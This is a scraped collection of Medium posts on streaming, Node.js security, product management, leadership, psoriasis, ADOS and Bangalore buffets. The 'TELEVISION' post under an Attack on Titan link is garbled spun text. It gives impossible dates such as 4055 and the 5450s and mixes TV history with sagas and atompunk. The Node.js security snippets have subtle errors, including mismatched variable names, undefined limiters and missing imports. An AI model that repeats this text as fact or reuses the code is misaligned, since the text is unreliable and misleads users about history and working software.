[ Further reading: Amazon Prime Video vs Hulu vs Netflix ]HBO Max subscribers will be able to stream the movie in 4K on such devices and set-top boxes as Apple TV 4K, Amazon’s Fire TV Stick 4K, Fire TV Cube and 4K Fire TV Edition smart TVs, Google’s Chromecast Ultra, AT&T TV, and supported Android TV devices, according to a WarnerMedia press release.
Wonder Woman 1984 will be available to all HBO Max users starting on December 25, and unlike some other Hollywood tentpoles that debuted early online—we’re looking at you, Mulan—viewers won’t have to cough up an extra fee. An HBO Max subscription costs $15 a month.
While Wonder Woman 1984 will be the first 4K title to stream on HBO Max, it won’t be the last. WarnerMedia promises to “expand these capabilities to further films and TV series” next year. No word on which HBO Max shows will get the 4K treatment first, although hopefully Game of Thrones (and particularly that infamous “too dark” episode) will be near the top of the list.
The streaming home of popular HBO shows such as Game of Thrones, Big Little Lies, The Sopranos, Euphoria, Lovecraft County, Watchmen, and Last Week Tonight, as well as such syndicated shows as Friends and The Big Bang Theory, HBO Max first launched back in May.
While the streaming service arrived with an impressive arsenal of TV shows and movies, it conspicuously lacked 4K HDR support. Netflix, Amazon Prime Video, and Disney+ already offer 4K HDR streaming. Hulu also supports 4K, but not HDR.
HBO Max has also been slow to land on various streaming platforms, with the service only debuting on Amazon Fire TV devices last month following months of tense negotiations between Amazon and WarnerMedia.
HBO Max still isn’t available on Roku, although you can cast HBO Max videos onto Roku devices via AirPlay.
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@steve80775427/wonder-woman-1984-will-be-hbo-max-s-first-4k-title-93f177aa8298 | [] | 2020-12-22 08:53:49.943000+00:00 | ['Cord', 'Chromecast', 'Chargers', 'Music'] |
Backend Security in NodeJS | Node.js, like any other framework or programming language, is prone to all kinds of web application vulnerabilities. The core of Node.js is secure, but third-party packages may require additional security measures to protect your web applications. According to the research, 14% of the Node Package Manager (NPM) ecosystem is affected. The indirectly affected packages are estimated to be about 54% of the ecosystem.
Open source applications inherit any security and licensing issues from their open source components. The problem is that security testing tools like dynamic and static code analysis are ineffective at detecting open source vulnerabilities.
Following are some of the attacks that can be done on NodeJS server and how we can avoide those attacks with help of npm packages(dependencies).
Preventing DOS Attacks
1.Limiting inflow data to our server — First thing to consider when dealing with DOS attacks prevention is to limit the actual payload that user can submit to your app / api / service. You can limit the body payload using body-parser. If you are using ExpressJS as your backend framework, then you are golden. ExpressJS comes with built-in body-parser that you can use.
const express = require('express');
const app = express();
app.use(express.json({ limit: '10kb' })); // Body limit is 10
2. Specifying calls a user can make in specified time duration — Another useful express feature is express-rate-limit dependency. This dependency lets you set rate limit for users. So basically, you can set maximum amount of requests for each user, after user uses all of his requests, you can lock him out for certain amount of time.
Here is how you can configure express-rate-limit:
npm install express-rate-limit - Installing it using NPM
const limit = rateLimit({
max: 100,// limit each IP to 100 max requests per windowsMS
windowMs: 60 * 60 * 1000, // 1 Hour
message: 'Too many requests' // message to send
});
app.use('/routeName', limit); // Setting limiter on specific route
app.use(limiter); // apply to all requests
app.use("/api/", apiLimiter); // only apply to requests that begin with /api/
Preventing XSS Attacks
Data sanitization against XSS — First of all, you can sanitize user data, on input. This is very easy to implement, and we can use another useful dependency called xss-clean.
This dependency will prevent users from inserting HTML & Scripts on input.
Here is how you can configure xss-clean:
npm install xss-clean - Installing it using NPM
const express = require('express');
const app = express();
/* make sure this comes before any routes */
app.use(xss())
2. Setting special HTTP headers for project — Give your project special HTTP headers using helmet dependency. Helmet is a collection of middleware functions. By default, not all of the middleware functions are included, but you can enable rest of them manually. You can check this link to see other middleware functions.
npm install helmet
const express = require("express");
const helmet = require("helmet");
const app = express();
app.use(helmet());
3. If you are using JSON Web Tokens (JWT) instead of express-session for example, you should consider storing JWT’s into the cookies. As well, make sure these cookies for JWT storing are HTTP Only!
Preventing Brute Force Attacks
One of the most efficient way to help you to deal with brute force attacks, is to set limit to login attempts, or anything related to authentication that requires users to insert their passwords, special codes or PINs. Next up, and again, if you are using ExpressJS, you could implement express-rate-limit dependency. Which we did indeed implemented in DOS attacks prevention. But this dependency works both for Brute Force attacks and DOS attacks. To slower down and make life a little bit harder for attackers when guessing sensitive data (passwords, PINs), you could implement bcrypt dependency. Bcrypt will encrypt sensitive data such as passwords and it will make them harder to guess. Another thing that will make brute force attacks less likely is implementing 2-Step verification process, or two-factor authentication. It does take couple of lines of codes to implement this.
Preventing SQL/NoSQL Injection Attacks
Sanitizing data — Either if you are working with SQL or NoSQL database, you should sanitize your data.
If you are working with NoSQL database (MongoDB) and ExpressJS, consider using express-mongo-sanitize dependency.
npm install express-mongo-sanitize
const express = require('express');
const bodyParser = require('body-parser');
const mongoSanitize = require('express-mongo-sanitize');
const app = express();
app.use(bodyParser.urlencoded({extended: true}));
app.use(bodyParser.json());
// To remove data, use:
app.use(mongoSanitize());
// Or, to replace prohibited characters with _, use:
app.use(mongoSanitize({
replaceWith: '_'
}))
2. If working with MongoDB, use Object Data Modeling tool (ODM) Mongoose. Mongoose lets you define schemas and schema types for each one of your documents, making it secure from the beginning
Securing REST API
For securing rest api we should use tokens that are generated and signed with some data. Mostly we use JWT tokens in node js which help us to secure our api from unauthenticated users. (Token based access)
Link for reference:
https://www.freecodecamp.org/news/securing-node-js-restful-apis-with-json-web-tokens-9f811a92bb52/
We can restrict api based on role as follows: (Role based access)
//Here only admin and super admin role users can create
app.post(‘/model/create’,restrictAccess([‘SUPER_ADMIN’,’ADMIN’]), Model.create)
const restrictAccess = (userRoles, allowedRoles) =>{
if(!(_.intersection(allowedRoles, userRoles).length)){
throw createError(‘PERMISSION_NOT_EXISTS’,403)
}
}
We can restrict access in within code also for role based as follows:
app.post(‘/model/create’,restrictAccess([‘CHAIR’,’MEMBER’,’SUPER_ADMIN’]), Model.create)
//Here member doesn’t have access to some specific type create else he can create data
if(body.type === ‘SOMETYPE’ && (_.includes(user.roles,’MEMBER’))){
throw createError(‘UNAUTHORISED’,401)
}
Other reference links are as follows:
https://medium.com/@nodepractices/were-under-attack-23-node-js-security-best-practices-e33c146cb87d
https://dzone.com/articles/10-nodejs-security-practices
https://medium.com/@nodepractices/were-under-attack-23-node-js-security-best-practices-e33c146cb87d | https://medium.com/@logicwind/backend-security-in-nodejs-dc71bf326469 | [] | 2021-01-19 07:10:42.607000+00:00 | ['Nodejs', 'Backend', 'Dos Attack', 'Node Js Development'] |
Product Managing a Product Manager Pt.1 | YOU are the product
Product Management work extends beyond your product peers and engineers. Product managers should be interfacing with almost every department in an organization. One of the biggest reasons is other departments are great sources of feedback for your products. Sales, Onboarding, Customer Success/Support, and Marketing all have unique perspectives. They also experience the products you work on and the customers you serve at different times in the customer journey.
Sales and Onboarding — dealing with setting expectations and initial exposure to the product
Support and Customer Success — helping customers get the most value out of the product and overcome issues
Marketing — Engaging new and existing customers on new and existing features
As you can imagine these departments all have unique perspectives of what a product manager’s job is.
This thinking lead me to set out to product manage myself. Viewing myself as the product, I asked some of my customers (co-workers) how I (the product) am doing (delivering value) and what areas need improvement.
My approach to this was inspired by one of my co-workers who asked me to fill out a short assessment on the value they bring me and the company. It was such a simple, concise way to measure how they were doing. Using that assessment I decided to carry out my own version along with some additional questions to let me know how to improve.
Note: This is part 1 of what will be a two part series. In part one I’ll be covering my approach to receiving feedback and start digging into some of the feedback. In part 2 I will cover the rest of the feedback I received.
Survey Says…
Name two other past Family Feud hosts… I’ll wait
These were the questions I included in my survey:
On a scale of 0–10, how valuable have my contributions been to you?
On a scale of 0–10, how valuable have my contributions been to the company?
On a scale of 0–10, how likely is it that you would recommend me to a colleague?
Please provide feedback about me, especially areas for growth and improvement.
What is your understanding of my role as a Product Manager?
What department are you in?
The last two questions were my personal additions. The second to last question I added to learn what expectations my co-workers have for my role. The last question I included to see if there was variation in how people in different departments responded. Adding this question did make the responses somewhat less anonymous, but more useful in my opinion, with one of my goals being to identify ways to improve with each department.
I identified a couple of people from each department to get a good sample size and to make sure I wasn’t only asking people I work with closely. I ended up with 23 responses across Product, Engineering, Training, Onboarding, Sales, Customer Success, and Customer Support.
What do I do?
The first question I’ll dive into is “What is your understanding of my role as a Product Manager?”. Again hoping to gain a greater understanding of what expectations my co-workers have for me in my role. Below I’ve included excerpts from answers from individuals in each department along with some of the themes I noticed in their answers.
Product
To use equal measures of advocacy for the customer and business to achieve results. To find the balance between serving business needs and customer needs.
Delight the customer in hard to copy margin enhancing ways.
Themes: Customer advocacy and delight, achieving business results
Training
creating and improving new products and features that the customer wants
Bringing new features to the market
Themes: Launching new products and features
Onboarding
owns the product/feature(s) and is responsible for explaining the best practices for usage and the value to our customers.
build product out that will benefit our company and customers
Themes: Understanding customer needs and building valuable products for the customer and company
Sales
To make sure product is developing the right product and getting it out on time.
Prioritize and push products that generate additional income to the company — work with teams to align expectations and goals.
Accountable for all aspects of the product & making sure the moving parts come together
Themes: Building the right things, managing expectations and delivering
Engineering
Represent the customer.
…ensuring we build/deliver the top notch products that our customers want.
…high level vision for the product within his domain space, and continually drive to improved it.
Themes: Customer advocacy, delivering value, and product vision
Success
To make sure product is developing the right product and getting it out on time.
Deliver a product that is great for our customers.
Pushes his team to find better and more creative ways to make these features better for our customers.
Make sure products are functioning free of bugs and are always looking at different ways to improve the product for the customer.
Themes: Delivering on time, creative solutions, and product quality
Support
works to improve the product and giving our customers more accessibility.
communicating with other departments to make updates and transitions as easy as possible
develops products to better enhance customer experience and also internal experience
Gathering info on what could make our product more valuable for the customers
Themes: Improve products, cross department communication, create good experiences internally
Takeaways
This feedback along with some of my working experiences with these people led me to some of the following takeaways.
Focus more on outcomes with other departments. It’s less about delivering new features and more about providing value in creative ways. For many departments our involvement revolves around new features. It has me thinking about how I need to keep other departments involved in other parts of the product lifecycle. Mainly the discovery and tweak it/enhancement phases. Their feedback being centered on shipping new features has lead me to believe that much of my focus may have also been placed here and that’s why they have responded they way they do.
With sales particularly I got the sense that they want predictability. They want to know what is being delivered and when they can start selling it. They need as much clarity as I can provide as early as possible. Coming back to being reliable.
I need to constantly be an advocate for our customers. If I don’t share customer stories, pains, and ideas with those around me (especially management) they may go unseen. It’s up to me to make sure feedback and insights I receive and find reach the right people.
As I’ve gone through this I’ve realized just how much there is to unpack with all of this feedback. Part of it is probably because this is the first time I’ve done something like this in my current role. I imagine future efforts to run this same survey will be easier to digest having one under my belt and somewhat of a baseline for how things went the first time. Also future attempts will give me an opportunity to measure if and how I’ve improved.
As you may have noticed I haven’t yet covered all of the questions. I’ll be covering the rest of the survey in part 2 of this article, where I’ll cover how I scored on the value scale questions and dive into feedback on how to grow and improve. | https://medium.com/weave-lab/product-managing-a-product-manager-pt-1-746229f5992 | ['Robison Rogers'] | 2020-12-23 05:23:08.481000+00:00 | ['Product Development', 'Product', 'Product Management', 'Feedback'] |
Business A to Z: Knowledge | Recently I had a knowledgeable discussion centered around the types of power with my brother. We discussed many topics such as, while money was a form of power, it tends to be the weakest. There are many other types of power that, if used correctly, can and will help you succeed in business more than money ever can.
Legitimate power — a higher position
Coercive power — fearful persuasion
Informational power — relevant to the task
Power of Reward — motivation by rewards
Connection Power — social capital
Referent Power — the quality of connections
Expert Power — knowledge
While these seven powers can help overcome different challenges, the most important is typically referent or expert. When one has referent power, one can create and grow very personal bonds with people. Those who wield this power tend to make well-informed decisions based on support from their network.
This power may be the most significant, but to earn this, possessing expert power is critical. Expert power typically refers to knowledge. Knowledge can be acquired from various sources such as your networks, social media, school, to name a few.
To begin any career, you must have a certain level of knowledge. To become a doctor, you must pay thousands of dollars for a paper that shows employers you are proficient in a specific field. To run a business, you must know its location, industry, potential customers, and other areas.
A beautiful library photo preceded this story, one of the many places you can find knowledge. Books are filled with libraries, and while physical books are losing popularity, Kindles and other e-readers are portals to a world of words and wisdom. Do a quick Amazon search on a particular topic and see how many books pop up. There are millions of books; find one or two for guidance.
As mentioned before, your network is also a great place to find knowledge. This group consists of friends, family, professionals, and anyone with whom you have a positive relationship. You can utilize this social capital to grow and build your mental library and share your info with others in your network.
Social media is another source of knowledge. Because social media is such a broad term, focus on one or two platforms to search for experience. Then look for a few influencers in your industry and connect with them and their followers.
What better place to obtain knowledge than a school? A typical school system is structured to allow a student to study a subject of interest. This is completed by using a series of specific courses relevant to the industry that becomes more difficult as they progress in the program.
Obtaining a wealth of information allows you to have power over others positively because you have the knowledge to back up your decisions. When expert knowledge is used in a team or a business over other types of power, it allows one to build a following. This following tends to be more trusting of a leader and will likely offer their support to the leader for a long time.
So, yes. Knowledge is power, and perhaps the most influential type of power that one can wield. Knowledge is a great foundational power and blends well with other classes that allow you to create a team of loyal and intelligent followers. | https://medium.com/lets-be-leaders/business-a-to-z-knowledge-b7b9faa9e0a4 | ['Zach Goreczny'] | 2020-12-21 01:32:18.605000+00:00 | ['Power', 'Knowledge', 'Business', 'Leadership', 'Personal Development'] |
If we look in past, we will see a lot of changes because of so many government’s decision and also… | If we look in past, we will see a lot of changes because of so many government’s decision and also many socialist, ngo working for women empowerment. This is very important for all of us to work in rural areas for women because most of rural areas are still are not too much aware. | https://medium.com/@brajendra2kumar/if-we-look-in-past-we-will-see-a-lot-of-changes-because-of-so-many-governments-decision-and-also-8bb76ad889a5 | [] | 2020-12-09 17:18:19.244000+00:00 | ['Empowerment', 'Culture', 'Rural', 'Women', 'Jobs'] |
Why ADOS Should Change It’s Name | Ados, American Descendants Of Slaves, is a grassroots organization created by Activist and Howard University Alum, host of breaking brown Yvette Carnell and Attorney and host of tonetalks Antonio Moore. Ados was created in the wake of America electing it’s first African American president Barack Obama, as well as a sharp rise in police brutality and black on black crime. It’s mission, to bring awareness not only to the many inequalities black communities across the United States chronically face, but to bring tangibles or actual change to many of those issues. Although Ados has done a phenomenal job in spreading awareness and building chapters across the country, supporting actual issues by lobbying politicians to effect policy, the one thing- like many other grassroots organizations supporting the black agenda face such as Black Lives Matter and FBA, Foundational Black America, the names of these organizations are misleading. The name of your organization is the most important aspect like the name of your book, movie, song or sports team. It defines what you represent and who you represent. The misinterpretation of the names of these organizations allow politicians and media outlets such as CNN and Fox news to easily dismiss the agenda of these organizations because it fails to set a clear representation. Names such as Black Lives Matter, Foundational Black America and American Descendants Of Slaves although good names, does not specifically state who they represent at first glance. The term Black is subjective and could mean anybody as well as the name American Descendants of Slaves, which could mean white people, black people and Indian's and Africans as all of these groups of people can be considered American Descendants of slaves. In my opinion, A great name should stand out but most importantly, be unapologetic. Lastly, it’s important to understand that, the name of these organizations are part of the reasons why our struggles will never get specifically addressed and will continue to get passed over or grouped with other minority groups. American Descendants Of Black Plantation and House Workers could be a start. With proper research, we can identify all the different types of work our ancestors did to create a politically correct agenda, believe it or not, even shoe shiners created a union. | https://medium.com/@itsmtaj/why-ados-should-change-its-name-d37ed46fb61c | ['Javon Dimitri'] | 2020-12-17 20:26:51.912000+00:00 | ['Black Men', 'BlackLivesMatter', 'Ados', 'Black Women', 'Community'] |
Automate Everything! Never Touch Your Newsletter Again | Automate Everything! Never Touch Your Newsletter Again
Send out your recent Medium blog posts dynamically and automatically using AWS Lambda, SES, and EventBridge
Photo by Harley-Davidson on Unsplash
Have you ever thought about creating a newsletter for all the great content you write but don’t have the time to put one together each week? Boy, do I have a surprise for you!
I will show you how you can send an automated email every week containing your most recent blog posts from Medium. As long as you are creating new content, your email will always be different!
If you are not a Medium writer, no worries, about 99% of this article will still apply to you; you will just pull your content from a different source.
The point of this tutorial is to understand how we can use a combination of AWS Lambda, Amazon Simple Email Service, and Amazon EventBridge to send out emails on a schedule, with dynamically generated content. Here is an architecture diagram to give you a visual:
Automated Email Service Architecture
We will use Amazon EventBridge to trigger a lambda function on a schedule we define (using a CRON expression). We will then use that lambda function to trigger an outbound email from Simple Email Service.
This article is going to be the minimum viable product of an automated email. Future articles will explain how we can take our automated email to the next level (styling with templates, unsubscribe functionality, sending to a more extensive distro list, handling bounced emails, etc.).
Let’s get to it! | https://medium.com/better-programming/automate-everything-never-touch-your-newsletter-again-881145a5f24b | ['Ryan Gleason'] | 2020-10-27 14:16:55.327000+00:00 | ['Programming', 'Automation', 'JavaScript', 'Newsletter', 'AWS'] |
MY EXPERIENCE WITH PSORIASIS | MY EXPERIENCE WITH PSORIASIS
I’m a 24 year old with psoriasis and I wanted to create an article about my experience with psoriasis as well as to give tips that may be helpful to others diagnosed with this auto-immune disorder.
I was diagnosed with psoriasis at the age of 19. My psoriasis first started in my scalp and for the longest before being diagnosed I had thought I had severe dandruff issues. I would switch shampoos on weekly basis trying to figure out what shampoo was making my scalp shed so many flakes. At one point I would have so many flakes that I would joke to my friends that I could make it “snow”. Eventually I gave up and went to a professional who told me I had scalp psoriasis.
Being told at age 19 that I had an incurable disorder was a little frightening. I recall spending almost an hour of the doctors time just asking questions on how to deal with this disorder. Fast forward 5 years and I can tell you my psoriasis has spread to others places but I have been able to control the “breakouts”.
My psoriasis has spread to my eyebrows, parts of my cheeks, and most recently on my eyelids. Yes; my eyelids and let me tell you when I woke up noticing that I was more than frightened. For starters to ease my symptoms it all started with my diet. I made sure to include omega 3-s, dark leafy greens, nuts, whole grains, and any antioxidants in my diet. I also avoided having sugar big time since it doesn’t help with inflammation. Basically, changed my diet to a well balanced one. After doing so I did notice less breakouts. The best shampoo I can recommend anyone with scalp psoriasis is any that has coal tar in it. Trust me it will make your life easier. For face breakouts I use a psoriasis wash and moisturizer everyday. There’s plenty of new products out there that have been made specifically for psoriasis and it has made dealing with this condition much easier; 5 years ago the range of products was much less.
What I fear the most of having psoriasis is as I age the condition is prone to getting worst and spreading more around my body. Some people have joint problems, stress, colds, and infections as the disorder progresses with time. As a 24 year old I’m content with how well I control my psoriasis right now and I’m hopeful I will be able to as well in the future. | https://medium.com/@jaimepatlan2015/my-experience-with-psoriasis-299edc229378 | ['Jay Patlan'] | 2020-12-22 04:09:13.365000+00:00 | ['Science', 'Opinion', 'Psoriasis', 'Health', 'Journey'] |
Stepping out of the shadows | It was around this time last year we had all resigned to the fact that the earth was pushing us into solitude, like never experienced before. We were forced to see how vulnerable we humans were…. How mortal.
We learnt how to be still in this fast paced world.
We learnt the true essence of life and living.
We learnt and re-learnt the language of our gods.
And in a world that wants you to be anything and everything, we learnt how to just be.
Now, a year later, with mini-victories in its fight against the pandemic, the world is still scampering to heal itself from the aches that came with it. Sadly, the virus hasnt been the only pandemic the world has had to go through. We have seen injustices that have torn communities and shaken up systems like never before. We’re daily looking over our shoulders seeing how ‘man’s inhumanity to man’, has even the devil taking down notes.
Indeed, if there were ever a time the world needed us the most, it would be now.
Its hard to tell if the lessons of the past year still remain with us. But if there’s one thing i doubt i’ll ever forget, is that we’re all living on borrowed time and that us still being here, points to the fact that the universe is depending on us to do something. To play our own part.
It’s every man’s hope to leave the world better than we found it. And whilst we have no mapped out blue print on how to achieve this, we’re all aware that it inescapably points us to our purpose.
I used to think purpose was something big we were in a constant cycle of searching for. But i’ve come to realize it could be anything and everything. the big and small things. Building legacies that span through generations and handing out lunch to someone in dire need; none more important than the other.
You see humans are the most powerful beings ever created. The earth is ours (and its fullness thereof). Sadly,where we should be unleashing our endless potentials and power, it looks like we’re constantly cowering and hiding in shadows.
We live in a world where from young, fear and self- doubt are sold to us and imputed on our dreams. We are hushed into silence when we try to express our disapproval, and in this part of the world where I am, you are sneered at for being disresfectful for even attempting to do so.
Uncosnsciously, as we grow, we begin to believe all of these lies ourselves- that taking the route of silence would always be the more dignified path and some dreams are just too big thus they best stay as dreams.
Whether we find ourselves in the shadows of others, or in the ones we cast on ourselves, the former being even less forgiveable than the latter; none of them deserves to have us trapped in forever.
I wonder how much different the world would look if we all decided to do a little better and give a lot more of ourselves. Take countless leaps in the love walk towards each other and speak up more. Even when its the unpopular, unconventional truth. The difficult truth. The truth still.
Maybe it wouldnt magically erase all the strains and uncertainties that come with living. But i’m certain our world would be better for it in a way that we’re all better for it.
Dear human, step out of the shadows.
Step into your light. | https://medium.com/@loveomife/stepping-out-of-the-shadows-89530159dfb4 | ['Ify Omife'] | 2021-04-25 13:51:38.382000+00:00 | ['Self Improvement', 'Courageous Living', 'Self Esteem'] |
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TELEVISION 👾
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In 4055, 54% of the world’s family units possessed a TV set.[4] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 5550s. Most TV sets sold during the 4000s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-4050s.[5][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 4050s.[04][4][5] Smart TVs with incorporated Internet and Web 4.0 capacities turned into the prevailing type of TV by the late 4050s.[5]
TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 4000s by means of the Internet. Until the mid 4000s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 4050s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV.
👾 OVERVIEW 👾
Additionally alluded to as assortment expressions or assortment amusement, this is a diversion comprised of an assortment of acts (thus the name), particularly melodic exhibitions and sketch satire, and typically presented by a compère (emcee) or host. Different styles of acts incorporate enchantment, creature and bazaar acts, trapeze artistry, shuffling and ventriloquism. Theatrical presentations were a staple of anglophone TV from its begin the 5450s, and endured into the 5450s. In a few components of the world, assortment TV stays famous and broad.
The adventures (from Icelandic adventure, plural sögur) are tales about old Scandinavian and Germanic history, about early Viking journeys, about relocation to Iceland, and of fights between Icelandic families. They were written in the Old Norse language, for the most part in Iceland. The writings are epic stories in composition, regularly with refrains or entire sonnets in alliterative stanza installed in the content, of chivalrous deeds of days a distant memory, stories of commendable men, who were frequently Vikings, once in a while Pagan, now and again Christian. The stories are generally practical, aside from amazing adventures, adventures of holy people, adventures of religious administrators and deciphered or recomposed sentiments. They are sometimes romanticized and incredible, yet continually adapting to people you can comprehend.
The majority of the activity comprises of experiences on one or significantly more outlandish outsider planets, portrayed by particular physical and social foundations. Some planetary sentiments occur against the foundation of a future culture where travel between universes by spaceship is ordinary; others, uncommonly the soonest kinds of the class, as a rule don’t, and conjure flying floor coverings, astral projection, or different methods of getting between planets. In either case, the planetside undertakings are the focal point of the story, not the method of movement.
Identifies with the pre-advanced, social time of 5445–045, including mid-century Modernism, the “Nuclear Age”, the “Space Age”, Communism and neurosis in america alongside Soviet styling, underground film, Googie engineering, space and the Sputnik, moon landing, hero funnies, craftsmanship and radioactivity, the ascent of the US military/mechanical complex and the drop out of Chernobyl. Socialist simple atompunk can be an extreme lost world. The Fallout arrangement of PC games is a fabulous case of atompunk. | https://medium.com/attack-on-titan-s04-episode-4-animation-on-nhk/episode-4-attack-on-titan-2020-s04-ep-4-animation-engsub-on-nhk-2d7adb3c4941 | ['Attack On Titan'] | 2020-12-26 15:06:35.446000+00:00 | ['Animation', 'Mystery'] |
Indian Creek | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/core-shot/indian-creek-e46343f5bc54 | ['Daniel Kay'] | 2020-12-18 08:29:02.652000+00:00 | ['Indian Creek', 'Climbing', 'Travel', 'Photography', 'Outdoors'] |
What Servant-Leadership Means to Me | The term servant-leadership was coined by Robert Greenleaf in 1977 and has been the cornerstone of my professional career across many different roles and levels of influence. Simply put, being a servant-leader means putting team success first and attaining greatness for the team by valuing the output, growth, time, and achievements of others more highly than your own. Being a positive leader is difficult, much less a true servant-leader, but I derive a great sense of satisfaction adhering to this principle and being a supportive force for my team and colleagues. The following are the major aspects of servant-leadership that I focus on improving my delivery around.
Major Components
Engagement
In order to serve, you need a high level of engagement with your team. This is doubly true if you want to lead your team in an effective manner. You can learn more about how I engage with my team in this article, but there is no substitute for a leader with a clear understanding of the value their team delivers.
How you engage with your team matters. They need to trust you are there to make them more impactful in their role, and the “shine” they create will be theirs to own. Just as team members are accountable for the quality of their work and how they interact with others, their accomplishments need to be reflected clearly.
Empathy
This is where we need to take the long view. If we support our team, understand what is going on outside of work for them, and give them space to take care of what is important, we will be rewarded with great work. There are clear boundaries here, but in my experience, people will remember how you supported them during tough times, and that trust will enrich both parties by building into a wonderful working relationship.
It’s a rare situation where you look back and wish you’d spent more time in the office or working longer hours. Keep what is important the priority, and everything else will fall into place.
Coaching
Hands down, coaching is the most important thing I do. I interact closely with someone and share my perspective, working towards a better solution or outcome. As human beings, we place a high value on being understood and our opportunity to convey thoughts, emotions, and energy. Being a coach helps me master my own sense of the work by helping teach someone see a more broad, or a more narrow, or a more contextual vision of what we need to do. When I observe an individual drive positive change aligned with organizational goals as a result of my 1 on 1 coaching, the level of pure excitement, pride, and joy I have is immeasurable.
Buffering
I have received negative feedback from my leadership chain based around how I buffer for my team. Part of the reason why my team trusts me is that I am in their corner and seek to limit their unplanned work and unexpected pressure from outside sources. At the end of each 1 on 1 I have with my team, I inquire if they need help with anything or if there is anyone I need to follow up with to ensure there are no blockers to progress. Be careful here to not be so totally focused on protecting your team that you fail to engage properly with the outside, but instead direct engagements into a predictable pattern where you can set expectations clearly and give your team space to execute.
Context
Along with coaching and mentoring, one of the most important pieces of value a manager can provide is context. Context in this manner represents another source of data, and one that can help drive better decisions more likely to meet a need. I am often in conversations that my team is not. Every day I make decisions to balance having my team in meetings versus what I can cover and provide a synopsis around so that they can execute with clear direction. Context can be urgency, overlapping priorities, stakeholder expectations, or potential blockers to execution. When our team fails, a lack of context is usually part of the equation. I like the way that Netflix outlines context versus control in management styles.
Transparency
Being transparent does not mean being blunt, undiplomatic, or blindly sharing. Transparency is being open about your goals, objectives, and feedback. Feedback should be timely. Feedback needs to be directed and specific. Feedback should only be given with the express intent of building your team up to do something better next time.
Being transparent without context is not helpful, and communications should be tailored to the recipient. Being transparent to a stakeholder may mean a high level roadmap, whereas to a colleague in another team who is doing a similar type of work, a project management board with detailed work items could be beneficial. We should also be transparent with our accomplishments.
Trust
You can’t buy trust. Trust is knowing that your manager has your back and trusts you. Trust is knowing you are advocated for and appreciated. Trust is keeping your word and being consistent in your messaging. Golden handcuffs will only work for so long, but teams stick together when trust is given and received. Teams are also more quick to take risks and strive for greatness when there is trust in their management and support systems. Be trustworthy. | https://medium.com/@johncdoser/what-servant-leadership-means-to-me-c205788ac1b6 | ['John Doser'] | 2020-12-09 02:44:26.719000+00:00 | ['Servant Leadership', 'Trust', 'Feedback', 'Productivity', 'Agile'] |
12 Best Restaurants For Buffet In Bangalore | AsrupTravels | Bangalore is well known and one of the best high-tech cities in India. Bangalore has uncountable hotspots to hang out such as night club, bars, discotheques, malls, and restaurants. In this article, we have discussed the best restaurants for buffet in Bangalore.
1. AB’s — Absolute Barbecues
Are you a grilled or barbecues food lover and you did not visit Absolute Barbecues? Then, you must visit this restaurant to get a real taste of grilled food and this is one of the best restaurants for buffet in Bangalore.
The restaurant is well decorated and perfect for groups, friends, and family. Once you will visit this restaurant you will receive a warm welcome from the hostages.
The staffs are very friendly and knowledgeable and for sure they will make feel luxurious in this beautiful place.
They feature various types of dishes like baby Octopus, rabbit, shark, and much more similar exotic meats that are not available in other places easily.
After having the great buffet main course, you should leave space to have their special sweet dishes like sensational mango pudding and apricot cheesecake.
2. Déjà Vu Buffet Bar Restaurant
Déjà vu Buffet is famous for its buffet and freshly brewed beer and the place is specially designed to knock you out with its bunch of cocktails and mocktails.Also, this is one of the best restaurants for buffet in Bangalore.
The restaurants are fully covered with black and white themed which serves Italian, North Indian, and Mughlai cuisines. The restaurants also offer a lively and cheerful atmosphere and the ambiance is truly classy.
The restaurants are offering one complimentary drink from the non-alcoholic menu which you can choose. After that, you can choose their starter and soups will make delight no doubt.
There are also you can find various food dishes like non-vegetarian and vegetarians. But especially I should recommend you to try their vegetarian foods like corn pulao, veg biryani, fried rice, then I am sure you will fall in love with their food taste.
3. Buff Buffet Buff Restaurant
The Buff Buffet Buff is a classy all-day dining restaurant located inside of BluePatel business hotel in Koramangala, Bangalore. The restaurants are focusing and their main patron is buffet only.
The restaurants are serving buffets three times a day like breakfast to dinner they offer a luxurious buffet. If you visit this restaurant then I am sure you will love their eye-catching, well-prepared buffet spread.
They are targeting multicuisine on their buffet along with the bar menu. So, you can take your favorites drink before tackling your foods and this is the best restaurants for buffet in Bangalore.
Buff Buffet Buff is a fantastic place for getting together, family, and parties. They are offering a comfortable seat and a sofa and the proper dining tables where you can sit and enjoy the buffet with your friends and family.
4. Black Pearl Restaurant
The first thing in this restaurant you will mostly like that is the pirate theme. So, if you want to experience the unique lifestyle on the sea the Black pearl should be on your list.
Once you will enter the restaurant you can feel the concept of life on a pirate ship to all the dining areas, and I am sure this is the best restaurants for buffet in Bangalore.
The Black early also features the 250-seater capacity that is the best for get-together parties, friends, family, and groups. Also, they have almost 10 types of price brackets depending on the week and weekends, day, or night.
Apart from the gorgeous buffet, you can have food from the A-La-Carte menu. In the end, I should say, if you visit this biggest pirate theme restaurant then you will not be disappointed at all
5. Chutney Chang Restaurant
Chutney Chang is one of the most and top-rated and the best restaurants for buffet in Bangalore. This is a casual dining restaurant; they are serving Chinese and north Indian cuisines foods. They offering an elaborate buffet and offer food from the A-la-Carte menu.
The restaurant is fully paired up with the classic ambiance. The most important thing is they are providing luxurious service and awesome quality of food, which can make you fall in love with their place.
The restaurant is perfect for the get-together, party, and the families. The restaurant features high-quality chairs, a sofa, and comfortable tables. So, your friends and family can sit comfortably and enjoy their fantastic meal.
